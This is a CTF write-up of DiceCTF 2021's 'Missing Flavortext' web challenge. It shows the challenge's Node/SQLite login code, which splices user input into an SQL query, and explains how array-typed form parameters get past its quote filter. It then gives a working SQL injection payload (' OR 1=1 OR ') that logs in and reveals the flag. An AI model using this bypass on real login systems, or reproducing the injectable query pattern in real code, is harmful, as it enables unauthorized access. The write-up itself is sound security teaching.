Rating: 3.0

# Missing Flavortext [224 solves/111 points]

```
Hmm, it looks like there's no flavortext here. Can you try and find it?

missing-flavortext.dicec.tf
```

We are again given the `index.js` source code of the site:

```javascript
const crypto = require('crypto');
const db = require('better-sqlite3')('db.sqlite3')

// remake the `users` table
db.exec(`DROP TABLE IF EXISTS users;`);
db.exec(`CREATE TABLE users(
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT,
password TEXT
);`);

// add an admin user with a random password
db.exec(`INSERT INTO users (username, password) VALUES (
'admin',
'${crypto.randomBytes(16).toString('hex')}'
)`);

const express = require('express');
const bodyParser = require('body-parser');

const app = express();

// parse json and serve static files
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('static'));

// login route
app.post('/login', (req, res) => {
if (!req.body.username || !req.body.password) {
return res.redirect('/');
}

if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
return res.redirect('/');
}

// see if user is in database
const query = `SELECT id FROM users WHERE
username = '${req.body.username}' AND
password = '${req.body.password}'
`;

let id;
try { id = db.prepare(query).get()?.id } catch {
return res.redirect('/');
}

// correct login
if (id) return res.sendFile('flag.html', { root: __dirname });

// incorrect login
return res.redirect('/');
});

app.listen(3000);
```

Looking at the source code, our objective is to obtain `flag.html` via a correct login. The backend uses an `sqlite` database, so let's try a quick **SQL Injection**!

Unfortunately, nothing happened :sweat:.

In order to investigate and test the code further, I decided to run this code on a local machine, and we immediately see the issue with passing a plain SQLi payload in:

```javascript
if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
return res.redirect('/');
}
```

will cause it to **fail if there are any `'` in the payload**, which means that we are unable to escape the quotes for an SQLi.

Looking around the code, there isn't anything interesting other than `app.use(bodyParser.urlencoded({ extended: true }));`. A quick google search reveals that this exact setting was abused in a `Google CTF 2020 Web Challenge (Pasteurize)` (_that DiceGang also conveniently solved_)

Apparently what this setting allows is for **other types (arrays, objects) to be passed in, instead of merely just a string**.

Looking at some of the [writeups](https://pop-eax.github.io/blog/posts/ctf-writeup/web/xss/2020/08/23/googlectf2020-pasteurize-tech-support-challenge-writeups/), we can see a payload like:

```
username[]=hello&password[]=waddle
```

Will get treated as an **object**, rather than a string. So what does this entails?

```
if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
return res.redirect('/');
}
```

Testing the code out, it seems like the check above will **always return false, and not check for any `'`'**. Hence, we can simply set our SQLi payloads, and it will work magic with the database!

```bash
username[]=' OR 1=1 OR '&password[]=' OR 1=1 OR ' #Unencoded payload
```

And we are in!

```html

<html>

<head>
<link rel="stylesheet" href="/styles.css">
</head>

<body>
<div>

Looks like there was no flavortext here either :(


Here's your flag?


dice{sq1i_d03sn7_3v3n_3x1s7_4nym0r3}


</div>
</body>

</html>
```

Original writeup (https://github.com/IRS-Cybersec/ctfdump/tree/master/DiceGang%202021/web-Missing%20Flavortext).